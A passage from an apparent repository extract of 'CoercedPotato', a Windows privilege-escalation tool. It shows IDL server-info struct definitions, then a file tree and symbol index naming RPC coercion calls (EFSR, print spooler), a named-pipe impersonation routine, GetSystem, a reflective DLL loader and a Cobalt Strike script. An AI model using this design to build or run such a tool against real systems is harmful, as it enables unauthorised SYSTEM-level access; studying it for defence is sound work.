{
DWORD sv1530_minfreeworkitems;
} SERVER_INFO_1530, * PSERVER_INFO_1530, * LPSERVER_INFO_1530;
typedef struct _SERVER_INFO_1533
{
DWORD sv1533_maxmpxct;
} SERVER_INFO_1533, * PSERVER_INFO_1533, * LPSERVER_INFO_1533;
typedef struct _SERVER_INFO_1534
{
DWORD sv1534_oplockbreakwait;
} SERVER_INFO_1534, * PSERVER_INFO_1534, * LPSERVER_INFO_1534;
typedef struct _SERVER_INFO_1535
{
DWORD sv1535_oplockbreakresponsewait;
} SERVER_INFO_1535, * PSERVER_INFO_1535, * LPSERVER_INFO_1535;
typedef struct _SERVER_INFO_1536
{
int sv1536_enableoplocks;
} SERVER_INFO_1536, * PSERVER_INFO_1536, * LPSERVER_INFO_1536;
typedef struct _SERVER_INFO_1538
{
int sv1538_enablefcbopens;
} SERVER_INFO_1538, * PSERVER_INFO_1538, * LPSERVER_INFO_1538;
typedef struct _SERVER_INFO_1539
{
int sv1539_enableraw;
} SERVER_INFO_1539, * PSERVER_INFO_1539, * LPSERVER_INFO_1539;
typedef struct _SERVER_INFO_1540
{
int sv1540_enablesharednetdrives;
} SERVER_INFO_1540, * PSERVER_INFO_1540, * LPSERVER_INFO_1540;
typedef struct _SERVER_INFO_1541
{
int sv1541_minfreeconnections;
} SERVER_INFO_1541, * PSERVER_INFO_1541, * LPSERVER_INFO_1541;
typedef struct _SERVER_INFO_1542
{
int sv1542_maxfreeconnections;
} SERVER_INFO_1542, * PSERVER_INFO_1542, * LPSERVER_INFO_1542;
typedef struct _SERVER_INFO_1543
{
DWORD sv1543_initsesstable;
} SERVER_INFO_1543, * PSERVER_INFO_1543, * LPSERVER_INFO_1543;
typedef struct _SERVER_INFO_1544
{
DWORD sv1544_initconntable;
} SERVER_INFO_1544, * PSERVER_INFO_1544, * LPSERVER_INFO_1544;
typedef struct _SERVER_INFO_1545
{
DWORD sv1545_initfiletable;
} SERVER_INFO_1545, * PSERVER_INFO_1545, * LPSERVER_INFO_1545;
typedef struct _SERVER_INFO_1546
{
DWORD sv1546_initsearchtable;
} SERVER_INFO_1546, * PSERVER_INFO_1546, * LPSERVER_INFO_1546;
typedef struct _SERVER_INFO_1547
{
DWORD sv1547_alertschedule;
} SERVER_INFO_1547, * PSERVER_INFO_1547, * LPSERVER_INFO_1547;
typedef struct _SERVER_INFO_1548
{
DWORD sv1548_errorthreshold;
} SERVER_INFO_1548, * PSERVER_INFO_1548, * LPSERVER_INFO_1548;
typedef struct _SERVER_INFO_1549
{
DWORD sv1549_networkerrorthreshold;
} SERVER_INFO_1549, * PSERVER_INFO_1549, * LPSERVER_INFO_1549;
typedef struct _SERVER_INFO_1550
{
DWORD sv1550_diskspacethreshold;
} SERVER_INFO_1550, * PSERVER_INFO_1550, * LPSERVER_INFO_1550;
typedef struct _SERVER_INFO_1552
{
DWORD sv1552_maxlinkdelay;
} SERVER_INFO_1552, * PSERVER_INFO_1552, * LPSERVER_INFO_1552;
typedef struct _SERVER_INFO_1553
{
DWORD sv1553_minlinkthroughput;
} SERVER_INFO_1553, * PSERVER_INFO_1553, * LPSERVER_INFO_1553;
typedef struct _SERVER_INFO_1554
{
DWORD sv1554_linkinfovalidtime;
} SERVER_INFO_1554, * PSERVER_INFO_1554, * LPSERVER_INFO_1554;
typedef struct _SERVER_INFO_1555
{
DWORD sv1555_scavqosinfoupdatetime;
} SERVER_INFO_1555, * PSERVER_INFO_1555, * LPSERVER_INFO_1555;
typedef struct _SERVER_INFO_1556
{
DWORD sv1556_maxworkitemidletime;
} SERVER_INFO_1556, * PSERVER_INFO_1556, * LPSERVER_INFO_1556;
typedef [switch_type(unsigned long)] union _SERVER_INFO
{
[case(100)]
LPSERVER_INFO_100 ServerInfo100;
[case(101)]
LPSERVER_INFO_101 ServerInfo101;
[case(102)]
LPSERVER_INFO_102 ServerInfo102;
[case(103)]
LPSERVER_INFO_103 ServerInfo103;
[case(502)]
LPSERVER_INFO_502 ServerInfo502;
[case(503)]
LPSERVER_INFO_503 ServerInfo503;
[case(599)]
LPSERVER_INFO_599 ServerInfo599;
[case(1005)]
LPSERVER_INFO_1005 ServerInfo1005;
[case(1107)]
LPSERVER_INFO_1107 ServerInfo1107;
[case(1010)]
LPSERVER_INFO_1010 ServerInfo1010;
[case(1016)]
LPSERVER_INFO_1016 ServerInfo1016;
[case(1017)]
LPSERVER_INFO_1017 ServerInfo1017;
[case(1018)]
LPSERVER_INFO_1018 ServerInfo1018;
[case(1501)]
LPSERVER_INFO_1501 ServerInfo1501;
[case(1502)]
LPSERVER_INFO_1502 ServerInfo1502;
[case(1503)]
LPSERVER_INFO_1503 ServerInfo1503;
[case(1506)]
LPSERVER_INFO_1506 ServerInfo1506;
[case(1510)]
LPSERVER_INFO_1510 ServerInfo1510;
[case(1511)]
LPSERVER_INFO_1511 ServerInfo1511;
[case(1512)]
LPSE
gitextract_2f2q0qnr/
├── Arguments.cpp
├── Arguments.h
├── CoerceFunctions.cpp
├── CoerceFunctions.h
├── CoercedPotato.cpp
├── CoercedPotato.sln
├── CoercedPotato.vcxproj
├── CoercedPotato.vcxproj.filters
├── CoercedPotato.vcxproj.user
├── IDL_FILES/
│ ├── ms-efsr.idl
│ ├── ms-even.idl
│ ├── ms-par.idl
│ ├── ms-rprn.idl
│ └── ms-srvsvc.idl
├── README.md
├── ReflectiveDLLInjection.h
├── ReflectiveLoader.cpp
├── ReflectiveLoader.h
├── dist/
│ └── coercedpotato.cna
├── lib/
│ ├── ms-efsr_h.h
│ ├── ms-even_h.h
│ ├── ms-par_h.h
│ ├── ms-rprn_h.h
│ └── ms-srvsvc_h.h
└── rpc_interfaces/
├── ms-efsr_c.c
├── ms-even_c.c
├── ms-even_s.c
├── ms-par_c.c
├── ms-par_s.c
├── ms-rprn_c.c
├── ms-rprn_s.c
├── ms-srvsvc_c.c
└── ms-srvsvc_s.c
SYMBOL INDEX (3597 symbols across 20 files)
FILE: Arguments.h
function class (line 22) | class Arguments {
FILE: CoerceFunctions.cpp
function callEfsRpcOpenFileRaw (line 12) | long callEfsRpcOpenFileRaw(RPC_BINDING_HANDLE Binding, LPWSTR targetedPi...
function callEfsRpcEncryptFileSrv (line 22) | long callEfsRpcEncryptFileSrv(RPC_BINDING_HANDLE Binding, LPWSTR targete...
function callEfsRpcDecryptFileSrv (line 30) | long callEfsRpcDecryptFileSrv(RPC_BINDING_HANDLE Binding, LPWSTR targete...
function callEfsRpcQueryUsersOnFile (line 39) | long callEfsRpcQueryUsersOnFile(RPC_BINDING_HANDLE Binding, LPWSTR targe...
function callEfsRpcQueryRecoveryAgents (line 48) | long callEfsRpcQueryRecoveryAgents(RPC_BINDING_HANDLE Binding, LPWSTR ta...
function callEfsRpcRemoveUsersFromFile (line 57) | long callEfsRpcRemoveUsersFromFile(RPC_BINDING_HANDLE Binding, LPWSTR ta...
function callEfsRpcAddUsersToFile (line 74) | long callEfsRpcAddUsersToFile(RPC_BINDING_HANDLE Binding, LPWSTR targete...
function callEfsRpcFileKeyInfo (line 91) | long callEfsRpcFileKeyInfo(RPC_BINDING_HANDLE Binding, LPWSTR targetedPi...
function callEfsRpcDuplicateEncryptionInfoFile (line 101) | long callEfsRpcDuplicateEncryptionInfoFile(RPC_BINDING_HANDLE Binding, L...
function callEfsRpcAddUsersToFileEx (line 111) | long callEfsRpcAddUsersToFileEx(RPC_BINDING_HANDLE Binding, LPWSTR targe...
function callEfsRpcFileKeyInfoEx (line 129) | long callEfsRpcFileKeyInfoEx(RPC_BINDING_HANDLE Binding, LPWSTR targeted...
function callEfsRpcGetEncryptedFileMetadata (line 140) | long callEfsRpcGetEncryptedFileMetadata(RPC_BINDING_HANDLE Binding, LPWS...
function callEfsRpcEncryptFileExSrv (line 149) | long callEfsRpcEncryptFileExSrv(RPC_BINDING_HANDLE Binding, LPWSTR targe...
function callEfsRpcQueryProtectors (line 159) | long callEfsRpcQueryProtectors(RPC_BINDING_HANDLE Binding, LPWSTR target...
function callRpcRemoteFindFirstPrinterChangeNotification (line 177) | long callRpcRemoteFindFirstPrinterChangeNotification(wchar_t* targetedPi...
function callRpcRemoteFindFirstPrinterChangeNotificationEx (line 216) | long callRpcRemoteFindFirstPrinterChangeNotificationEx(wchar_t* targeted...
FILE: CoercedPotato.cpp
type NamedPipeThreadArgs (line 32) | struct NamedPipeThreadArgs {
function BOOL (line 40) | BOOL APIENTRY DllMain(HMODULE hModule,
function handleError (line 68) | void handleError(long result) {
function BOOL (line 87) | BOOL createRPCbind(RPC_BINDING_HANDLE& binding_h)
function BOOL (line 125) | BOOL GetSystem(HANDLE hPipe)
function DWORD (line 249) | DWORD WINAPI launchNamedPipeServer(LPVOID lpParam) {
function BOOL (line 289) | BOOL createNamedPipe(wchar_t* namedpipe, wchar_t* commandExecuted) {
function callRprnFunctions (line 300) | long callRprnFunctions(int exploitID, bool force) {
function BOOL (line 342) | BOOL coerce()
function spawn_pipe (line 355) | void spawn_pipe(std::string stringCommand, std::string stringArg)
function RealEntrypoint (line 406) | void RealEntrypoint(char* argument_string) {
function main (line 431) | int main(int argc, char** argv)
function handle_t (line 456) | handle_t __RPC_USER STRING_HANDLE_bind(STRING_HANDLE lpStr)
FILE: ReflectiveDLLInjection.h
type DWORD (line 45) | typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
FILE: ReflectiveLoader.cpp
function ULONG_PTR (line 38) | __declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnA...
function DLLEXPORT (line 42) | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
FILE: ReflectiveLoader.h
type SIZE_T (line 40) | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
type PVOID (line 41) | typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
function DWORD (line 63) | __forceinline DWORD ror(DWORD d)
function DWORD (line 68) | __forceinline DWORD hash(char* c)
type UNICODE_STR (line 80) | typedef struct _UNICODE_STR
type LDR_DATA_TABLE_ENTRY (line 89) | typedef struct _LDR_DATA_TABLE_ENTRY
type PEB_LDR_DATA (line 107) | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
type PEB_FREE_BLOCK (line 119) | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
type _PEB (line 127) | typedef struct __PEB // 65 elements, 0x210 bytes
type IMAGE_RELOC (line 196) | typedef struct
FILE: lib/ms-efsr_h.h
type EFS_EXIM_PIPE (line 60) | typedef struct pipe_EFS_EXIM_PIPE
type DWORD (line 79) | typedef unsigned long DWORD;
type BOOL (line 85) | typedef int BOOL;
type RPC_SID_IDENTIFIER_AUTHORITY (line 89) | typedef struct _RPC_SID_IDENTIFIER_AUTHORITY
type RPC_SID (line 94) | typedef struct _RPC_SID
type _RPC_SID (line 102) | struct _RPC_SID
type _EFS_RPC_BLOB (line 104) | struct _EFS_RPC_BLOB
type Struct_68_t (line 106) | typedef struct Struct_68_t
type Struct_100_t (line 111) | typedef struct Struct_100_t
type Struct_136_t (line 119) | typedef struct Struct_136_t
type Struct_152_t (line 125) | typedef struct Struct_152_t
type Struct_220_t (line 133) | typedef struct Struct_220_t
type Struct_266_t (line 139) | typedef struct Struct_266_t
type Struct_282_t (line 146) | typedef struct Struct_282_t
type Struct_346_t (line 153) | typedef struct Struct_346_t
type Struct_392_t (line 159) | typedef struct Struct_392_t
type Struct_462_t (line 165) | typedef struct Struct_462_t
type Struct_492_t (line 172) | typedef struct Struct_492_t
type Struct_530_t (line 180) | typedef struct Struct_530_t
type Struct_594_t (line 187) | typedef struct Struct_594_t
type Struct_762_t (line 193) | typedef struct Struct_762_t
type Struct_836_t (line 198) | typedef struct Struct_836_t
type Struct_850_t (line 204) | typedef struct Struct_850_t
type Struct_904_t (line 212) | typedef struct Struct_904_t
type Struct_972_t (line 221) | typedef struct Struct_972_t
type Struct_282_t (line 275) | struct Struct_282_t
type Struct_136_t (line 305) | struct Struct_136_t
type Struct_462_t (line 306) | struct Struct_462_t
type Struct_392_t (line 325) | struct Struct_392_t
type Struct_392_t (line 356) | struct Struct_392_t
type Struct_762_t (line 468) | struct Struct_762_t
type Struct_972_t (line 519) | struct Struct_972_t
FILE: lib/ms-even_h.h
type NTSTATUS (line 62) | typedef long NTSTATUS;
type BOOL (line 66) | typedef int BOOL;
type BYTE (line 72) | typedef unsigned char BYTE;
type BYTE (line 78) | typedef BYTE BOOLEAN;
type BYTE (line 80) | typedef BYTE *PBOOLEAN;
type wchar_t (line 82) | typedef wchar_t WCHAR;
type wchar_t (line 84) | typedef wchar_t *PWCHAR;
type WCHAR (line 86) | typedef WCHAR *BSTR;
type DOUBLE (line 88) | typedef double DOUBLE;
type ULONG (line 90) | typedef unsigned long ULONG;
type DWORD (line 94) | typedef unsigned long DWORD;
type DWORD32 (line 100) | typedef unsigned int DWORD32;
type DWORD64 (line 102) | typedef unsigned __int64 DWORD64;
type ULONGLONG (line 106) | typedef unsigned __int64 ULONGLONG;
type ULONGLONG (line 108) | typedef ULONGLONG DWORDLONG;
type ULONGLONG (line 110) | typedef ULONGLONG *PDWORDLONG;
type error_status_t (line 112) | typedef unsigned long error_status_t;
type FLOAT (line 114) | typedef float FLOAT;
type UCHAR (line 116) | typedef unsigned char UCHAR;
type SHORT (line 120) | typedef short SHORT;
type RPC_UNICODE_STRING (line 122) | typedef struct _RPC_UNICODE_STRING
type _RPC_UNICODE_STRING (line 129) | struct _RPC_UNICODE_STRING
type _FILETIME (line 131) | struct _FILETIME
type _FILETIME (line 133) | struct _FILETIME
type _RPC_SID (line 135) | struct _RPC_SID
type RPC_STRING (line 137) | typedef struct _RPC_STRING
type _RPC_STRING (line 144) | struct _RPC_STRING
type RPC_CLIENT_ID (line 146) | typedef struct _RPC_CLIENT_ID
type _RPC_CLIENT_ID (line 152) | struct _RPC_CLIENT_ID
type wchar_t (line 154) | typedef /* [unique][handle] */ wchar_t *EVENTLOG_HANDLE_W;
type RULONG (line 162) | typedef /* [range] */ unsigned long RULONG;
FILE: lib/ms-par_h.h
type BYTE (line 63) | typedef unsigned char BYTE;
type DWORD (line 69) | typedef unsigned long DWORD;
type wchar_t (line 75) | typedef wchar_t WCHAR;
type wchar_t (line 77) | typedef wchar_t *PWCHAR;
type ULONGLONG (line 79) | typedef unsigned __int64 ULONGLONG;
type ULONGLONG (line 81) | typedef ULONGLONG DWORDLONG;
type ULONGLONG (line 83) | typedef ULONGLONG *PDWORDLONG;
type __int3264 (line 85) | typedef /* [custom] */ __int3264 LONG_PTR;
type WORD (line 87) | typedef unsigned short WORD;
type USHORT (line 93) | typedef unsigned short USHORT;
type UCHAR (line 95) | typedef unsigned char UCHAR;
type LONG (line 99) | typedef long LONG;
type __int64 (line 105) | typedef __int64 LONGLONG;
type LONG (line 107) | typedef LONG HRESULT;
type UUID (line 109) | typedef struct _GUID UUID;
type _GUID (line 111) | struct _GUID
type _RPC_SID (line 113) | struct _RPC_SID
type _ACL (line 115) | struct _ACL
type _FILETIME (line 117) | struct _FILETIME
type _FILETIME (line 119) | struct _FILETIME
type _SYSTEMTIME (line 121) | struct _SYSTEMTIME
type RPC_EPrintPropertyType (line 123) | typedef /* [public][public][public][public][public][public] */
type LANGID (line 133) | typedef unsigned short LANGID;
type wchar_t (line 139) | typedef /* [handle] */ wchar_t *STRING_HANDLE;
type RPC_BINARY_CONTAINER (line 141) | typedef struct _RPC_BINARY_CONTAINER
type RPC_BIDI_DATA (line 147) | typedef struct _RPC_BIDI_DATA
type RPC_BIDI_REQUEST_DATA (line 160) | typedef struct _RPC_BIDI_REQUEST_DATA
type RPC_BIDI_RESPONSE_DATA (line 167) | typedef struct _RPC_BIDI_RESPONSE_DATA
type RPC_BIDI_REQUEST_CONTAINER (line 175) | typedef struct _RPC_BIDI_REQUEST_CONTAINER
type RPC_BIDI_RESPONSE_CONTAINER (line 183) | typedef struct _RPC_BIDI_RESPONSE_CONTAINER
type RPC_V2_NOTIFY_INFO_DATA (line 192) | typedef struct _RPC_V2_NOTIFY_INFO_DATA
type RPC_V2_NOTIFY_INFO (line 201) | typedef struct _RPC_V2_NOTIFY_INFO
type RPC_V2_UREPLY_PRINTER (line 209) | typedef /* [switch_type] */ union _RPC_V2_UREPLY_PRINTER
type NOTIFY_REPLY_CONTAINER (line 216) | typedef struct _NOTIFY_REPLY_CONTAINER
type NOTIFY_OPTIONS_CONTAINER (line 221) | typedef struct _NOTIFY_OPTIONS_CONTAINER
type RpcPrintPropertyValue (line 226) | typedef /* [public][public][public][public][public] */ struct __MIDL_IRe...
type RpcPrintNamedProperty (line 243) | typedef /* [public][public][public][public] */ struct __MIDL_IRemoteWins...
type RpcPrintPropertiesCollection (line 249) | typedef /* [public][public][public][public][public] */ struct __MIDL_IRe...
type RPC_PrintPropertyValue (line 255) | typedef /* [public][public][public][public][public] */ struct __MIDL_IRe...
type RPC_PrintNamedProperty (line 272) | typedef /* [public][public][public] */ struct __MIDL_IRemoteWinspool_0031
FILE: lib/ms-rprn_h.h
type BOOL (line 62) | typedef int BOOL;
type BYTE (line 68) | typedef unsigned char BYTE;
type BYTE (line 74) | typedef BYTE BOOLEAN;
type BYTE (line 76) | typedef BYTE *PBOOLEAN;
type wchar_t (line 78) | typedef wchar_t WCHAR;
type wchar_t (line 80) | typedef wchar_t *PWCHAR;
type WCHAR (line 82) | typedef WCHAR *BSTR;
type DOUBLE (line 84) | typedef double DOUBLE;
type DWORD (line 86) | typedef unsigned long DWORD;
type DWORD32 (line 92) | typedef unsigned int DWORD32;
type DWORD64 (line 94) | typedef unsigned __int64 DWORD64;
type ULONGLONG (line 98) | typedef unsigned __int64 ULONGLONG;
type ULONGLONG (line 100) | typedef ULONGLONG DWORDLONG;
type ULONGLONG (line 102) | typedef ULONGLONG *PDWORDLONG;
type UCHAR (line 104) | typedef unsigned char UCHAR;
type DWORD (line 110) | typedef DWORD HCALL;
type INT (line 112) | typedef int INT;
type INT8 (line 116) | typedef signed char INT8;
type INT16 (line 118) | typedef short INT16;
type INT32 (line 120) | typedef int INT32;
type __int64 (line 122) | typedef __int64 INT64;
type wchar_t (line 126) | typedef const wchar_t *LMCSTR;
type WCHAR (line 128) | typedef WCHAR *LMSTR;
type LONG (line 130) | typedef long LONG;
type __int64 (line 136) | typedef __int64 LONGLONG;
type LONG (line 138) | typedef LONG HRESULT;
type __int3264 (line 140) | typedef /* [custom] */ __int3264 LONG_PTR;
type ULONG_PTR (line 142) | typedef /* [custom] */ unsigned __int3264 ULONG_PTR;
type LONG32 (line 144) | typedef int LONG32;
type __int64 (line 146) | typedef __int64 LONG64;
type __int64 (line 148) | typedef __int64 *PLONG64;
type wchar_t (line 152) | typedef const wchar_t *LPCWSTR;
type UINT (line 154) | typedef unsigned int UINT;
type UINT8 (line 156) | typedef unsigned char UINT8;
type UINT16 (line 158) | typedef unsigned short UINT16;
type UINT32 (line 160) | typedef unsigned int UINT32;
type UINT64 (line 162) | typedef unsigned __int64 UINT64;
type ULONG (line 164) | typedef unsigned long ULONG;
type QWORD (line 168) | typedef unsigned __int64 QWORD;
type UCHAR (line 172) | typedef UCHAR *STRING;
type ULONG_PTR (line 174) | typedef ULONG_PTR DWORD_PTR;
type ULONG_PTR (line 176) | typedef ULONG_PTR SIZE_T;
type ULONG32 (line 178) | typedef unsigned int ULONG32;
type ULONG64 (line 180) | typedef unsigned __int64 ULONG64;
type USHORT (line 182) | typedef unsigned short USHORT;
type WORD (line 188) | typedef unsigned short WORD;
type UUID (line 195) | typedef struct _GUID UUID;
type _GUID (line 197) | struct _GUID
type LANGID (line 199) | typedef unsigned short LANGID;
type wchar_t (line 205) | typedef /* [handle] */ wchar_t *STRING_HANDLE;
type _FILETIME (line 208) | struct _FILETIME
type _FILETIME (line 210) | struct _FILETIME
type _SYSTEMTIME (line 213) | struct _SYSTEMTIME
type RPC_DRIVER_INFO_3 (line 215) | typedef struct _RPC_DRIVER_INFO_3
type RPC_DRIVER_INFO_4 (line 230) | typedef struct _RPC_DRIVER_INFO_4
type RPC_DRIVER_INFO_6 (line 247) | typedef struct _RPC_DRIVER_INFO_6
type RPC_DRIVER_INFO_8 (line 270) | typedef struct _RPC_DRIVER_INFO_8
type RPC_FORM_INFO_2 (line 303) | typedef struct _RPC_FORM_INFO_2
type PORT_INFO_FF (line 317) | typedef struct _PORT_INFO_FF
type PRINTER_INFO_STRESS (line 324) | typedef struct _PRINTER_INFO_STRESS
type SPLCLIENT_INFO_1 (line 358) | typedef struct _SPLCLIENT_INFO_1
type SPLCLIENT_INFO_2 (line 369) | typedef struct _SPLCLIENT_INFO_2
type SPLCLIENT_INFO_3 (line 374) | typedef struct _SPLCLIENT_INFO_3
type DEVMODE_CONTAINER (line 388) | typedef struct _DEVMODE_CONTAINER
type DOC_INFO_CONTAINER (line 394) | typedef struct _DOC_INFO_CONTAINER
type DRIVER_CONTAINER (line 403) | typedef struct _DRIVER_CONTAINER
type FORM_CONTAINER (line 417) | typedef struct _FORM_CONTAINER
type JOB_CONTAINER (line 427) | typedef struct _JOB_CONTAINER
type MONITOR_CONTAINER (line 439) | typedef struct _MONITOR_CONTAINER
type PORT_CONTAINER (line 449) | typedef struct _PORT_CONTAINER
type PORT_VAR_CONTAINER (line 461) | typedef struct _PORT_VAR_CONTAINER
type PRINTER_CONTAINER (line 467) | typedef struct _PRINTER_CONTAINER
type SECURITY_CONTAINER (line 485) | typedef struct SECURITY_CONTAINER
type SPLCLIENT_CONTAINER (line 491) | typedef struct _SPLCLIENT_CONTAINER
type STRING_CONTAINER (line 502) | typedef struct _STRING_CONTAINER
type SYSTEMTIME_CONTAINER (line 508) | typedef struct _SYSTEMTIME_CONTAINER
type RPC_V2_NOTIFY_OPTIONS_TYPE (line 514) | typedef struct _RPC_V2_NOTIFY_OPTIONS_TYPE
type RPC_V2_NOTIFY_OPTIONS (line 524) | typedef struct _RPC_V2_NOTIFY_OPTIONS
type EBranchOfficeJobEventType (line 532) | typedef /* [public][public][public] */
type RPC_BranchOfficeJobDataPrinted (line 543) | typedef /* [public][public][public] */ struct __MIDL_winspool_0012
type RPC_BranchOfficeJobDataRendered (line 555) | typedef /* [public][public][public] */ struct __MIDL_winspool_0013
type RPC_BranchOfficeJobDataError (line 566) | typedef /* [public][public][public] */ struct __MIDL_winspool_0014
type RPC_BranchOfficeJobDataPipelineFailed (line 582) | typedef /* [public][public][public] */ struct __MIDL_winspool_0015
type RPC_BranchOfficeLogOfflineFileFull (line 589) | typedef /* [public][public][public] */ struct __MIDL_winspool_0016
type RPC_BranchOfficeJobData (line 594) | typedef /* [public][public] */ struct __MIDL_winspool_0017
type RPC_BranchOfficeJobDataContainer (line 608) | typedef /* [public] */ struct __MIDL_winspool_0019
FILE: lib/ms-srvsvc_h.h
type BOOL (line 62) | typedef int BOOL;
type BYTE (line 68) | typedef unsigned char BYTE;
type BYTE (line 74) | typedef BYTE BOOLEAN;
type BYTE (line 76) | typedef BYTE *PBOOLEAN;
type wchar_t (line 78) | typedef wchar_t WCHAR;
type wchar_t (line 80) | typedef wchar_t *PWCHAR;
type WCHAR (line 82) | typedef WCHAR *BSTR;
type DOUBLE (line 84) | typedef double DOUBLE;
type DWORD (line 86) | typedef unsigned long DWORD;
type DWORD32 (line 92) | typedef unsigned int DWORD32;
type DWORD64 (line 94) | typedef unsigned __int64 DWORD64;
type ULONGLONG (line 98) | typedef unsigned __int64 ULONGLONG;
type ULONGLONG (line 100) | typedef ULONGLONG DWORDLONG;
type ULONGLONG (line 102) | typedef ULONGLONG *PDWORDLONG;
type UCHAR (line 104) | typedef unsigned char UCHAR;
type DWORD (line 110) | typedef DWORD HCALL;
type INT (line 112) | typedef int INT;
type INT8 (line 116) | typedef signed char INT8;
type INT16 (line 118) | typedef short INT16;
type INT32 (line 120) | typedef int INT32;
type __int64 (line 122) | typedef __int64 INT64;
type wchar_t (line 126) | typedef const wchar_t *LMCSTR;
type WCHAR (line 128) | typedef WCHAR *LMSTR;
type LONG (line 130) | typedef long LONG;
type __int64 (line 136) | typedef __int64 LONGLONG;
type LONG (line 138) | typedef LONG HRESULT;
type __int3264 (line 140) | typedef /* [custom] */ __int3264 LONG_PTR;
type ULONG_PTR (line 142) | typedef /* [custom] */ unsigned __int3264 ULONG_PTR;
type LONG32 (line 144) | typedef int LONG32;
type __int64 (line 146) | typedef __int64 LONG64;
type __int64 (line 148) | typedef __int64 *PLONG64;
type wchar_t (line 152) | typedef wchar_t *LPWSTR;
type wchar_t (line 154) | typedef wchar_t *PWSTR;
type DWORD (line 156) | typedef DWORD NET_API_STATUS;
type NTSTATUS (line 158) | typedef long NTSTATUS;
type PCONTEXT_HANDLE (line 162) | typedef /* [ref] */ PCONTEXT_HANDLE *PPCONTEXT_HANDLE;
type wchar_t (line 164) | typedef const wchar_t *LPCWSTR;
type UINT (line 166) | typedef unsigned int UINT;
type UINT8 (line 168) | typedef unsigned char UINT8;
type UINT16 (line 170) | typedef unsigned short UINT16;
type UINT32 (line 172) | typedef unsigned int UINT32;
type UINT64 (line 174) | typedef unsigned __int64 UINT64;
type ULONG (line 176) | typedef unsigned long ULONG;
type QWORD (line 180) | typedef unsigned __int64 QWORD;
type UCHAR (line 184) | typedef UCHAR *STRING;
type ULONG_PTR (line 186) | typedef ULONG_PTR DWORD_PTR;
type ULONG_PTR (line 188) | typedef ULONG_PTR SIZE_T;
type ULONG32 (line 190) | typedef unsigned int ULONG32;
type ULONG64 (line 192) | typedef unsigned __int64 ULONG64;
type USHORT (line 194) | typedef unsigned short USHORT;
type WORD (line 200) | typedef unsigned short WORD;
type DWORD (line 206) | typedef DWORD SECURITY_INFORMATION;
type DWORD (line 208) | typedef DWORD *PSECURITY_INFORMATION;
type UUID (line 212) | typedef struct _GUID UUID;
type _GUID (line 214) | struct _GUID
type wchar_t (line 216) | typedef /* [string][handle] */ wchar_t *SRVSVC_HANDLE;
type CONNECTION_INFO_0 (line 218) | typedef struct _CONNECTION_INFO_0
type _CONNECTION_INFO_0 (line 223) | struct _CONNECTION_INFO_0
type _CONNECTION_INFO_0 (line 225) | struct _CONNECTION_INFO_0
type CONNECT_INFO_0_CONTAINER (line 227) | typedef struct _CONNECT_INFO_0_CONTAINER
type _CONNECT_INFO_0_CONTAINER (line 233) | struct _CONNECT_INFO_0_CONTAINER
type _CONNECT_INFO_0_CONTAINER (line 235) | struct _CONNECT_INFO_0_CONTAINER
type CONNECTION_INFO_1 (line 237) | typedef struct _CONNECTION_INFO_1
type _CONNECTION_INFO_1 (line 248) | struct _CONNECTION_INFO_1
type _CONNECTION_INFO_1 (line 250) | struct _CONNECTION_INFO_1
type CONNECT_INFO_1_CONTAINER (line 252) | typedef struct _CONNECT_INFO_1_CONTAINER
type _CONNECT_INFO_1_CONTAINER (line 258) | struct _CONNECT_INFO_1_CONTAINER
type _CONNECT_INFO_1_CONTAINER (line 260) | struct _CONNECT_INFO_1_CONTAINER
type CONNECT_ENUM_UNION (line 262) | typedef /* [switch_type] */ union _CONNECT_ENUM_UNION
type CONNECT_ENUM_STRUCT (line 268) | typedef struct _CONNECT_ENUM_STRUCT
type _CONNECT_ENUM_STRUCT (line 274) | struct _CONNECT_ENUM_STRUCT
type _CONNECT_ENUM_STRUCT (line 276) | struct _CONNECT_ENUM_STRUCT
type FILE_INFO_2 (line 278) | typedef struct _FILE_INFO_2
type _FILE_INFO_2 (line 283) | struct _FILE_INFO_2
type _FILE_INFO_2 (line 285) | struct _FILE_INFO_2
type FILE_INFO_2_CONTAINER (line 287) | typedef struct _FILE_INFO_2_CONTAINER
type _FILE_INFO_2_CONTAINER (line 293) | struct _FILE_INFO_2_CONTAINER
type _FILE_INFO_2_CONTAINER (line 295) | struct _FILE_INFO_2_CONTAINER
type FILE_INFO_3 (line 297) | typedef struct _FILE_INFO_3
type _FILE_INFO_3 (line 306) | struct _FILE_INFO_3
type _FILE_INFO_3 (line 308) | struct _FILE_INFO_3
type FILE_INFO_3_CONTAINER (line 310) | typedef struct _FILE_INFO_3_CONTAINER
type _FILE_INFO_3_CONTAINER (line 316) | struct _FILE_INFO_3_CONTAINER
type _FILE_INFO_3_CONTAINER (line 318) | struct _FILE_INFO_3_CONTAINER
type FILE_ENUM_UNION (line 320) | typedef /* [switch_type] */ union _FILE_ENUM_UNION
type FILE_ENUM_STRUCT (line 326) | typedef struct _FILE_ENUM_STRUCT
type _FILE_ENUM_STRUCT (line 332) | struct _FILE_ENUM_STRUCT
type _FILE_ENUM_STRUCT (line 334) | struct _FILE_ENUM_STRUCT
type FILE_INFO (line 336) | typedef /* [switch_type] */ union _FILE_INFO
type SESSION_INFO_0 (line 346) | typedef struct _SESSION_INFO_0
type _SESSION_INFO_0 (line 351) | struct _SESSION_INFO_0
type _SESSION_INFO_0 (line 353) | struct _SESSION_INFO_0
type SESSION_INFO_0_CONTAINER (line 355) | typedef struct _SESSION_INFO_0_CONTAINER
type _SESSION_INFO_0_CONTAINER (line 361) | struct _SESSION_INFO_0_CONTAINER
type _SESSION_INFO_0_CONTAINER (line 363) | struct _SESSION_INFO_0_CONTAINER
type SESSION_INFO_1 (line 365) | typedef struct _SESSION_INFO_1
type _SESSION_INFO_1 (line 375) | struct _SESSION_INFO_1
type _SESSION_INFO_1 (line 377) | struct _SESSION_INFO_1
type SESSION_INFO_1_CONTAINER (line 379) | typedef struct _SESSION_INFO_1_CONTAINER
type _SESSION_INFO_1_CONTAINER (line 385) | struct _SESSION_INFO_1_CONTAINER
type _SESSION_INFO_1_CONTAINER (line 387) | struct _SESSION_INFO_1_CONTAINER
type SESSION_INFO_2 (line 389) | typedef struct _SESSION_INFO_2
